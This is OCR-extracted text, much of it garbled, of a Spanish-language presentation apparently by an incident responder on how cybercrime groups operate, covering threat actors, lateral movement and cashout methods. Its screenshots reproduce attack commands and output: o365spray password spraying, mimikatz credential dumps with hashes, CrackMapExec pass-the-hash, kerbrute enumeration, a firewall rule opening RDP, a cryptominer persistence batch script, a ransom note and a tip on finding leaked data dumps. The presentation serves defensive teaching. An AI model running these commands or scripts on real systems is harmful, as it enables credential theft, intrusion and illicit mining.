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; COMO FUNCIONA EL CIBERCRIMEN?:
EXPERIENCIAS DESDE EL PUNTO DE VISTA DE
UN INCIDENT RESPONDER
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- México: el ciberataque "sin 00000

sistemas se vieron afectados por un importante ciberataque que interrumpié temporalmente

A
| ‘ pais que Cau56 pérdidas sus operaciones, incluyendo los sistemas de cajeros automaticos y banca en linea. Este

incidente ocurrié durante el fin de semana vy llevo al banco a desconectar algunas areas de su
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LAZARUS GROUP

¢QUE ESTABA SUCEDIENDO?

NOS ENFRENTABAMOS
A CIBER EJERCITOS. ..




; POR QUE SE CREA UNA ORGANIZACION CIBER CRIMINAL?

» POLITICA

S . wie i, :’ ":’.' " « . - W 4 '2.'-..;.'.". S 4
010011001y .. L 01001007 1 509 . ~01101

u...U?. * "?{a 1 ‘; o “‘"‘vu‘!‘ulcc,’ 2 a — v*u
P % -

-]

o “
e o

‘-‘.;}“ 05, o i-{"‘ ®

"‘.".‘/'A . ":é‘- ."’ S

S apan.. .S58 e,
) SR, Py, -
A R ‘7}}_’"\';’,0'33'-? -
g AL S z ‘,'5
s v wsn 4e
s A

L B 4

s

g |




; POR QUE SE CREA UNA ORGANIZACION CIBER CRIMINAL?

» SANCIONES ECONOMICAS

\.\ Tracking sanctions
Xp against North Korea

The U.S. will impose new sanctions on North Korea,
targeting that nation’s sale and purchase of arms and
importing of luxury goods. Sanctions now in force:

U.N. Security Council - United States

July *Bans trade of material, ; Since °* Various levels of bans
2006 technology and financial . 1950 on exports to the North
resources that the North

could use for weapons . Today ° Bans transactions by U.S.
of mass destruction ; firms with N.K. banks and

trading companies; approval

. lmppses arms, financial needed to import goods
sanctions; bans sale of ; made in the North

luxury goods to the North

| . ' Japan
* Allows inspection of cargo ; ;
to and from North; blacklists April * Renewed ban on trade

firms, individuals believed | 2010 With the North; prohibits

to be involved in nuclear : port calls by N.K. ships;
production 5 limits remittances to the

North

Source: U.S. Treasury, United Nations, Arms Control Association, Reuters
Graphic: Pat Carr © 2010 MCT




; POR QUE SE CREA UNA ORGANIZACION CIBER CRIMINAL?

THE SURVIVAL EDITORS' BLOG

The Cyber Dimension of the
Russia-Ukraine War

Although the Russia-Ukraine war of 2022 has raised questions
about the utility of cyber operations in war, it still provides
valuable insight into what the cyber dimension of a modern war
might look like.




: QUIENES SON LOS AGENTES DE

AMENAZA?

Russia , North Korea
Comment Crew ———— 4 |Cutting Kitten Common Name
APT2 Bl h2moon
e APT29 Common Name Clever Kitten Lazarus Group
Turla Group . Madi < APT37
s . Unit 8200 | ok
Hidden Lynx ge;getnc Bear g:bjr fighters of 12z Ad-Din A Andaried
ndworm afer
Wekby 7 . .
Axiom \FIN7 Prince of Persia | Kimsuki
Winnti Group FINS . Sima ! NoName
Shell Crew Inception Framework Dilrig == :
Naikon TeamSpy Crew CopyKittens OnionDog
Lotus Blossom BuhTrap Unit 8200 Charming Kitten TEMP.Hermit
APT6 Carberd Greenbug 2
APT26 m SunFlower Magic Hound ' :
Mirage FSB 16th & 18th Centers Rocket Kitten Stardust Chollima
NetTraveler Cyber Berkut 2
Ice Fog WhiteBear i
ITSecTeam
Beijing Group m
APT22 GRU GTsST (Main Center fo i i
Suckfly TEMP Veles Mabna Institute
APTA Zebrocy DarkHydrus
Pitty Tiger SectorJ04 Domestic Kitten
Scarlet Mimic FUMfDeep Flash Kitten
i dCurl Gold lowell
RedCu
SVCMONDR —
. TAS51 Iridium
Wisp Team .
Mana Team UNC2452 DNSpionage
TEMP.Zhenbao Tortoiseshell
eoIvvY ?
Fox Kitten
Tracer Kitten
tot : 107 Agrius
' MalKamak
Nemesis Kitten
UNC3313




: QUIENES SON LOS AGENTES DE
AMENAZA?
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reddit.com/r/OSINT/comments/ugep6q/tip_dont_pay_for_data_leaks_they_are_free_on
@& github.com/0xZDH/0o365spray Il / fugep6aftip_ —pay_for_ - e —on/

‘=  README.md @ r/0SINT (X)) Search Reddit

Usage

root@Plocalhost:~# 0365spray —--validate —--domain domain.example

*xx 0365 Spray xkx Publicaciones

A

A Publicado por u/[deleted] hace 7 meses @ &g 88 (32 §

version : 3.0.2
domain : domain.example
p 243

validate . True Tip: Don't pay for data leaks, they are free on BitTorrent DHT

validate_module: getuserrealm JL

timeout : 25 seconds VvV How-To
start : 2022-11-13 07:00:17

< ; Examples:

[2022-11-13 07:00:17,164] | validating: domain.example . ;
[2022-11-13 07:00:17,366] | [VALID] The following domain appears to be using 0365: domain.example meimg

Validate a domain is using O365:

0365spray ——validate —-domain test.com https://z.zz.fo/WkIIw.png

Perform username enumeration against a given domain: onomics. a... https://z.zz.fo/KrOXc.png

0365spray ——enum -U usernames.txt ——domain test.com . . . .
S ! 4 * These data dump collections can be found on DHT search engine like BTDig along

with their magnets. All 4 magnets from screenshots above are live. Search with

Perform password spraying against a given domain:
keywords like leak or website name. Use VM and use VPN.

0365spray —--spray -U usernames.txt —-P passwords.txt ——count 2 ——lockout 5 ——domain test.com

Also this tool is for managing data breaches. https://github.com/sensepost/Frack

usage: 0365spray [flags] . . .
¢ — ! Frack is attempt at creating an end-to-end solution to store, manage and query

0365spray | Microsoft 0365 User Enumerator and Password Sprayer —— v3.0.2 your breach data. The tool has got a very basic workflow making it easy to use.
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E ‘ Enter Partner ID Conectar ‘ Q {@} & v

Control remoto

Cobalt Strike

T Re e ks RepoRg Help Permitir el control remoto Controlar un ordenador remoto

QR OV E=Z¢BELPUXwARN o B S

/5 Ei ! Contrasefa

' jim.stevens * Chat . .
FILESERVER @ 3008 |8fq V3J a Conectar

E——— e Realidad aumentada

Remote Management

., < Control remoto Vv
Reunion SulD

591 277 070 Enter Partner ID
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jim.stevens

Mas soluciones L1301
WS1 @ 816

Acceso no presencial

Iniciar TeamViewer con Windows

SYSTEM *
WS1 @ 3852

Conceder acceso facil

-

Event Log X [ Beacon 10,10.10.181@816 X | Processes 10,10,10.7@3008 X

3-[™ 0: [System Process] - |{PID PPID Name Arch
3-[T] 4: System 'O 0 [System Process]
[]204: smss.exe “ 0 System x64
[]316: csrss.exe 1780 812 taskhostex.exe x64
- [[]408: wininit.exe 2000 1872 explorer.exe x64
- %y 500: senvices.exe 2240 1860 serverManager.exe x64

TeamViewer

® Listo para conectar (conexién segura)

CORPYAdmInistrator
[:?CORP\AdmInIstrator

CORPYAdmInistrator

CORPYAdmInistrator

CORPYim.stevens

NT AUTHORITYALOCAL SERVICE

NT AUTHORITYALOCAL SERVICE

T ATTHORTYLOCH. SERVCE netsh advfirewall firewall add rule name=allow
T RemoteDesktop dir=in protocol=TCP
localport=3389 action=allow

- [[]560: svchost.exe 2584 2000 vmtoolsd.exe x64
[]1728: WmIPVSE .exe 3008 560 wsmprovhost.exe xX64
[]2360: WmIPrvSE .exe 780 500 svchost.exe x64
[]3008: wsmprovhost.exe 864 500 svchost.exe x64

[1596: svchost.exe 284 500 svchost.exe xX64
[C]728: vmacthlp.exe 586 500 svchost.exe x64

O O O O O i ailal O

v

v

f Kill || Refresh ’ _lnject | Log Keystrokes | sScreenshot | Steal Token || ;-ielp |




MOVIMIENTO LATERAL



MOVIMIENTO LATERAL

METODOS

» DUMP DE MEMORIA - WDigest

PS C:\Users\raj\Desktop> .\mimikatz.exe

Bpisididisi N mimikatz 2.2.8 (x64)> #18362 Mar 8 2020 18:30:37
B~ #H#. YA La Vie,. A L’Amour" — <(oe.eo)
it ~» \ #ft o0¢ Benjamin DELPY ‘gentilkiwi® ¢ bhenjamin@gentilkiwi.com
Ht N/ ## > http://blog.gentilkivi.com/mimikatz
‘HHE v HH’ Uincent LE TOUX ( vincent.letouxCPgmail.com >
' HUHRHR’ > http://pingcastle.com / http://mysmartlogon.com I/

mimikatz #

privilege: :debuyg

Privilege ’208° OK

oot@JEFFLAB DEBO2:~/CrackMapExec# crackmapexec smb ~/targets txt -u Michael

MB 192.168.12.211 445 JEFFLAB-APPO1
) (domain:JEFFLAB) (signing:False) (SMBv1l:True)
MB 192.168.12.131 445 JEFFLAB-PCO1

n:JEFFLAB) (signing:False) (SMBv1l:True)

MB 192.168.12.209 445 JEFFLAB-SQLO2
) (domain:JEFFLAB) (signing:False) (SMBv1l:True)

mimikatz # sekurlsa::minidump C:\mem.dmp <23
Switch to MINIDUMP

mimikatz
Opening

Authentication Id

Session

User Name

Domain

Logon Server
Logon Time

SID

# sekurlsa:

*C:\mem.dmp’

:logonpasswords

: ’C:\mem.dmp’ file for minidump...

B ; 334696 <(APNNBNAA:ABB51b68D
In@eractiue from 1

raj
WIN-NFMRD37ITKD

WIN-NFMRD37ITKD

4,2/2820 2:11:54 PM
S$—-1-5-21-3008983562-280188460—-17735145-1600

msv =

[ABAABAA3 1 Primary

»* Username : raj

* Domain = WIN-NFMRD37ITKD

* LM : b757bf5cBd87772f aad3b435h51404¢ee
»* NTLM : 7ce21f17cBaee?fh9cebab32dB546ad6
»* SHA1 : 139f69¢c23chB42496a8e958ec5930B662cbeccaf bf
tspkg =

»* Username : raj

* Domain : WIN-NFMRD37ITKD

»* Password : 1234
wdigest :

»* Username : raj

* Domain = WIN-NFMRD37ITKD

»* Password : 1234
kerbheros :

»* Username !

»* Domain

»* Password !

Pl Y -

raj
WIN-NFMRD37ITKD
1234

MB 192.168.12.211 445 JEFFLAB-APPO1
MB 192.168.12.131 445 JEFFLAB-PCO1
MB 192.168.12.209 445 JEFFLAB-SQLO2
IMIKATZ 192.168.12.211 445 JEFFLAB-APPO1
IMIKATZ 192.168.12.131 445 JEFFLAB-PCO1
IMIKATZ 192.168.12.209 445 JEFFLAB-SQLO2
IMIKATZ 192.168.12.131

IMIKATZ 192.168.12.209

IMIKATZ 192.168.12.211

IMIKATZ

IMIKATZ 192.168.12.131

IMIKATZ 192.168.12.131

IMIKATZ 192.168.12.131

IMIKATZ 192.168.12.131

IMIKATZ 192.168.12.131

IMIKATZ 192.168.12.131

IMIKATZ 192.168.12.131

IMIKATZ 192.168.12.131

IMIKATZ 192.168.12.131

07-24 113916.log

IMIKATZ 192.168.12.211

IMIKATZ 192.168.12.211

IMIKATZ 192.168.12.211

IMIKATZ 192.168.12.211

» PTH

-p P@ssword -M mimikatz
Windows Server 2016 Standard 14393 x64 (name:JEFFLAB-APPEC

“] Windows 10 Enterprise 10586 x64 (name:JEFFLAB-PCO1) (domsz

'*] Windows Server 2016 Standard 14393 x64 (name:JEFFLAB-SQLE

[+] JEFFLAB\Michael:P@ssword (Pwn3d!)
[+] JEFFLAB\Michael:P@ssword (Pwn3d!)
[+] JEFFLAB\Michael:P@ssword (Pwn3d!)
[+] Executed launcher
[+] Executed launcher
[+] Executed launcher
Y1 - - "GET /Invoke-Mimikatz.psl HTTP/1.1" 200 -
- "GET /Invoke-Mimikatz.psl HTTP/1.1" 200 -
. - - "GET /Invoke-Mimikatz.psl HTTP/1.1" 200 -
| Waiting on 3 host(s)
- - "POST / HTTP/1.1" 200

JEFFLAB\Jeff d4dad8b9f8ccb87f6d6d92d7388157ea
JEFFLAB\JEFFLAB-PCO1$:9ef87ed2123f94d32044573¢c55319¢53
JEFFLAB\StanSitwell:13b29964cc2480b4ef454c59562e675¢
JEFFLAB\SteveHolt:d4dad8b9f8ccbh87f6d6d02d7388157ea
JEFFLAB\Gene.Parmesan:13b29964cc2480b4ef454c59562e675¢
JEFFLAB\Michael:13b29964cc2480b4ef454c59562e675¢
[+] Added 6 credential(s) to the database
'] Saved raw Mimikatz output to Mimikatz-192.168.12.131-2017

- - "POST / HTTP/1.1" 200 -
JEFFLAB\JEFFLAB APPO1$:3ab35d0dbbeeb710a2114e76743e958d
[+] Added 1 credential(s) to the database
' *] Saved raw Mimikatz output to Mimikatz-192.168.12.211-2017



MOVIMIENTO LATERAL

METODOS

» PASSWORD SPRAYING
» Noviembre.2022
» Entidad.2022
» Funcionario.ano

» Equipos de futbol

root@ kali [/home/kali/Tools
# ./kerbrute userenum --dc CONTROLLER.local - CONTROLLER.local User.txt

[/ 6 [ V[ [ [ S ) ) ) [p——

<l =TT TIZHTT T -]

S0 PN | VY Ry — [-] N cN-N-—_]

Version: v1.0.3 (9dad6el) - 09/24/21 - Ronnie Flathers @ropnop

2021/09/24 02:56:55 > Using KDC(s):

2021/09/24 02:56:55> CONTROLLER.local:88

2021/09/24 02:56:55 > |
2021/09/24 02:56:55 > |
2021/09/24 02:56:55 > |

2021/09/24 02:56:58 >
2021/09/24 02:56:58 >

2021/09/24 02:56:58 > |
2021/09/24 02:56:58 > |
2021/09/24 02:56:58 > |
2021/09/24 02:56:58 > |

2021/09/24 02:56:58 >

cleicieicieicio:

] VA
] VA

VA

] VA
] VA
] VA
] VA
] VA
] VA
B

VAL

~—

-

- -

D USERNAME:
D USERNAME:
D USERNAME:
D USERNAME:
D USERNAME:
D USERNAME:
D USERNAME:
D USERNAME:
D USERNAME:
D USERNAME:

adminl@CONTROLLER.local
admin2@CONTROLLER.local
administrator@CONTROLLER.local
httpservice@CONTROLLER.local
userl@CONTROLLER.local
machine2@CONTROLLER.local
user3@CONTROLLER.local
machinel@CONTROLLER.local
user2@CONTROLLER.local
sqlservice@CONTROLLER.local

2021/09/24 02:56:58 > Done! Tested 100 usernames (10 valid) in 3.271 secon
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o N .‘
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HasSession - s e
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o g Q 4 » ‘d.‘ A
¢
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NY e rne L% WS 99 @TESTLAB.LOCAL
LE 'LOCACOMP00214. TESTLAB.LOCAKILLIBREW00208@TESTLAB.LOCAL
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viemberOf|HasSession|AdminTo|AllExtendedRights|AddMember|ForceChangePassword|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner| CanRDP|Execute DCOM|Allowe:
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HPDH —_—

" Hypercom POS Device Handler message specification bm =
{+

&+

e A 600001800202003020078020C0020C20000000001414140000001800510000000100374556320000000007D211220112345678 4
4. Confirmation messages from the SWIFT network are 0000OF435449303030303130303030303530303030313233343501365F2A0203605F34010082025C008407A000000003101095
now monitored by the malware. Functionality continues in A540AANARAAA9AA311A21A9CAT209FA2AAAAAAT414140A9FAAEANAAAAANAAAAAIFAIA2AARCIF1AN7AGATAARNIAA2ANAIF1AA203
i106:00 6th
loop until 06:00 6% Feb 2016 info: # 144 nodes, 23 lookup tables, 100.00% passed (23/23)
pkt: HGGOO****************8020(:0@20(:2@0@**********************5100 s 3334" # HPDH packet
SWIFT Alliance CONFIG FILE 5. SWIFT m ges sent to printer are - hdr: # Transport Protocol Data Unit (TPDU)
Software server gpca.dat tampered with in real time se1: "60" # ID [Transactions]

S02: "0001" # Address, Destination
S03: "8002" # Address, Originator

- msg: # HPDH message
6. PRC and FAL files are scanned for attacker MTI: "0200" # Message Type ID. [Financial Transaction Request]
defined terms. On match will extract transfer DEGOO: "3020078020C0020C" # Primary bitmap [3.4.11.22.23.24.25.35.41.42.55.61.62.]
I =55 Lome — reference and sender address to form a SQL - BMO: # Fields at Primary Bitmap
(| = DELETE statement to delete a transaction + DE0O3: "200000" # PC
& " DEGO4: "000014141400" # Amount, transaction. [14141400]
7. Messages that contain attacker defined DE611: "060018" # STAN. [18]
terms will be used to form SQL statements to gggg gggé ” zgfdegérze:zzewmber N
1. Attackers gain access 2. Malware decrypts 3. Malware identifies &J:nwugg::;?::‘;i:::;?nzallablhw e DEG24: "0001" # Networqunternational Identifier (NII)
and install malware config file containing and exploitg ho'_st's DEG25: "00" # POS condition code [Normal presentment]
se:arf:h terms to scan SWIFI'appllf:atlonto DEG35: "3745%****xxxkkQQETD*** ¥k Kk k kA xR XXX AXEN 4 Track 2 Data
within SWIFT messages bypass validity check 8. Checks the 'Login/Logout’ status of DEO41: "CTIO00O1" # CATI.
within Oracle DLL S 2 the Journal table every hour and sends DE042: "OOOO*******2345" # CAIC.
// result to attacker domain over HTTP DEB55: "01365F2A0203605F34030082025C008407A0000********xx*kkxxx*x00g@, ,1234" # ICC data
b DEBG1: "00P8****rxkkNAk*3034" # Private data

DEG62; "QOOE********3334" # Private data
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CASHOUT

METODOS

» MINERIA

echo @echo off

echo tasklist /fi "imagename eq c3.exe" ~| find ":™ ~>NUL

echo if errorlevel 1 goto ALREADY_RUNNING

echo start /low %%~dp@c3.exe %%"*

echo-goto- EXIT

echo :ALREADY_ RUNNING

echo echo Monero miner is already running in the background. Refusing to run another one.
echo echo Run "taskkill /IM c3.exe" if you want to remove background miner first.

echo- :EXIT

) > "WUSERPROFILEX%\ .c3cache\worker.bat"

rem nrAaAnAartno -

if %ADMIN% == 1 goto ADMIN _MINER_SETUP

if exist "XUSERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" (
set - "STARTUP_DIR=XUSERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup”
goto STARTUP_DIR _OK
)
if exist "XUSERPROFILE%\Start Menu\Programs\Startup” (
set  "STARTUP_DIR=XUSERPROFILE%\Start Menu\Programs\Startup"
goto STARTUP_DIR_OK

)

echo ERROR: Can't find Windows startup directory
exit /b-1

CSTAR D R

cho [*¥] Adding call to "%USERPROFILEX\.c3cache\worker.bat" script to "%STARTUP_DIR%\c3cache worker.bat" script

M o

M ~

cho @echo off
ho - "WUSERPROFILEX\ .c3cache\worker.bat" --config="%USERPROFILEX\ .c3cache\config_background. json"
) > "%STARTUP_DIR%\c3cache worker.bat™

)

echo [*] Running miner in the background
call "%STARTUP_DIR%\c3cache worker.bat™
goto OK

Payment will be raised on

SM62017 00:47:55

Time Left

Your files will be lost on

52002017 00:47:55

Time Left
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About betcon

How 10 buy bilcons?

Contact Us

» RANSOMWARE

Wana DecryptOr 2.0
Ooops, your files have been encrypted!

A

What Happened to My Computer?

Your important files are encrypted.

Many of your documents, photos, videos, databases and other files are no longer
accessible because they have been encrypted. Maybe you are busy looking for a way to
recover yvour files, but do not waste your time. Nobody can recover your files without
our decryption service.

Can | Recover My Files?

Sure. We guarantee that you can recover all your files safely and easily. But you have
not so enough time.

You can decrypt some of your files for free. Try now by clicking <Decrypt>.

But if you want to decrypt all your files, you need to pay.

You only have 3 days to submit the payment. After that the price will be doubled.
Also, if you don't pay in 7 days, you won't be able to recover your files forever.

We will have free events for users who are so poor that they couldn’t pay in 6 months

How Do I Pay?

Payment is accepted in Bitcoin only. For more information, click <About bitcoin>.
Please check the current price of Bitcoin and buy some bitcoins. For more information,
click <How to buy bitcoins>,

And send the correct amount to the address specified in this window.

After your payment, click <Check Payment>. Best time to check: 9:00am - 11:00am

SR & e

Send $300 worth of bitcoin to this address:

bitcoin
ezl 204 | 1219YDPgwueZ9NyMgw519p7AABisjr6 SMw




CASHOUT

ATAQUES APTS MAS CONOCIDOS:

ROBO DE INFORMACION:

DANO, INTERRUPCION DE
OPERACIONES:

BENEFICIO ECONOMICO:

Advanced perSiStent Kaspersky’s Global Research and Analysis Team

(GReAT) is well-known for the discovery and

threat Iandsca pe in 2020 dissemination of the most advanced cyberthreats.

According to their data, in 2020 the top targets for
advanced persistent threats (APT) were governments,

Top 10 targets: Top 12 targeted countries: and the most significant threat actor was Lazarus.
Government

Chile Mexico Brazil Russia NETEN]
@ Banks

Financial Institutions
@ Diplomatic

@ Telecommunications
@ Educational

@ Defense

@ Energy
@ Military
@ IT companies

Top 10 significant threat actors:

| Lazarus 5 StrongPity

2 DeathStalker /  Sofacy

% CactusPete % ' CoughingDown
4 |AmTheKing 7 MuddyWater

5 TransparentTribe 10 SixLittleMonkeys



ATT&CK Matrix for Enterprise

layout: side ~ show sub-techniques  hide sub-techniques
Reconnaissance Resource Initial Access Execution Persistence Privilege Defense Evasion Credential Discovery Lateral Col
Development Escalation Access Movement
10 techniques 7 techniques 9 techniques 13 techniques 19 techniques 13 techniques 42 techniques 17 techniques 30 techniques 9 techniques 17 tecl
Active Scanning (3) Acquire Drive-by Command and Account Abuse Abuse Elevation Adversary-in- Account Discovery (4) Exploitation of Advers
Infrastructure (7 Compromise Scripting Manipulation (s Elevation Control Mechanism (4 the-Middle (3 Remote the-Mic
Gather Victim Host Interpreter (g) Control Application Window Services
Information () Compromise Exploit Public- BITS Jobs Mechanism (4) Access Token Brute Force (4) Discovery Archive
Accounts (3 Facing Container Manipulation (s) Internal Collect
Gather Victim Identity Application Administration Boot or Logon Access Token Credentials Browser Bookmark Spearphishing Data (3
Information (3 Compromise Command Autostart Manipulation (s) BITS Jobs from Discovery
Infrastructure (7 External Execution (1) Password Lateral Tool Audio |
Gather Victim Remote Deploy Container Boot or Logon Build Image on Host Stores (s) Cloud Infrastructure Transfer
Network Develop Services Boot or Logon Autostart Discovery Autom:
Information () Capabilities (4 Exploitation for Initialization Execution (14 Debugger Evasion Exploitation Remote Collect
Hardware Client Execution Scripts (s for Credential Cloud Service Service
Gather Victim Org Establish Additions Boot or Logon Deobfuscate/Decode Access Dashboard Session Browse
Information () Accounts (3) Inter-Process Browser Initialization Files or Information Hijacking (o) Sessior
Phishing (3) n Communication (3 Extensions Scripts (s) Forced Cloud Service Hijacki
Phishing for Obtain Deploy Container Authentication Discovery Remote
Information (3 Capabilities () Replication Native API Compromise Create or Services (g) Clipbos
Through Client Software Modify System Direct Volume Access Forge Web Cloud Storage Object
Search Closed Stage Removable Scheduled Binary Process (y) Credentials () Discovery Replication Data fr
Sources () Capabilities () Media Task/Job (5 Domain Policy Through Cloud ¢
Create Domain Policy Modification (o) Input Container and Removable
Search Open Supply Chain Serverless Account (3 Modification (;) Capture (4) Resource Discovery Media Data fr
Technical Compromise (3 Execution Execution Configs
Databases (s Create or Escape to Host Guardrails (1) Modify Debugger Evasion Software Reposi
Trusted Shared Modules Modify System Authentication Deployment
Search Open Relationship Process (y) Event Triggered Exploitation for Process (7 Domain Trust Tools Data fr
Websites/Domains (3) Software Execution (1¢) Defense Evasion Discovery Inform
Valid Deployment Tools Event Triggered Multi-Factor Taint Shared Reposi
Search Victim-Owned Accounts (4 I Execution (1) Exploitation for File and Directory Authentication File and Directory Content
Websites System Privilege Permissions Il Interception Discovery Data fr
Services () External Escalation Modification (o) Use Alternate Local €
Remote Multi-Factor Group Policy Authentication
User Execution (3) Services Hijack Hide Artifacts (1) Il Authentication Discovery Material (4) Data fr
Execution I Request Netwol
Windows Hijack Flow (12) Hijack Execution M Generation Network Service Shared
Management Execution ! Flow (12) Discovery
Instrumentation Flow (12 Process Network Data fr




COMO FUNCIONA EL CIBERCRIMEN

LECCIONES APRENDIDAS

» Los agentes de amenaza no son individuales, son organizaciones con alto nivel

de preparacion.

» Los ataques son complejos, no constan de UNA vulnerabilidad, sino de enlazar
varias debilidades para lograr un objetivo.

» La compra de herramientas de seguridad, no va a facilitar la prevenciéony
deteccion. Se necesita de entrenamiento y procesos internos definidos.

» Sireconocen alguno de los TTP anteriores en su infraestructura, es posible que
ya tengan un agente de amenaza externo.
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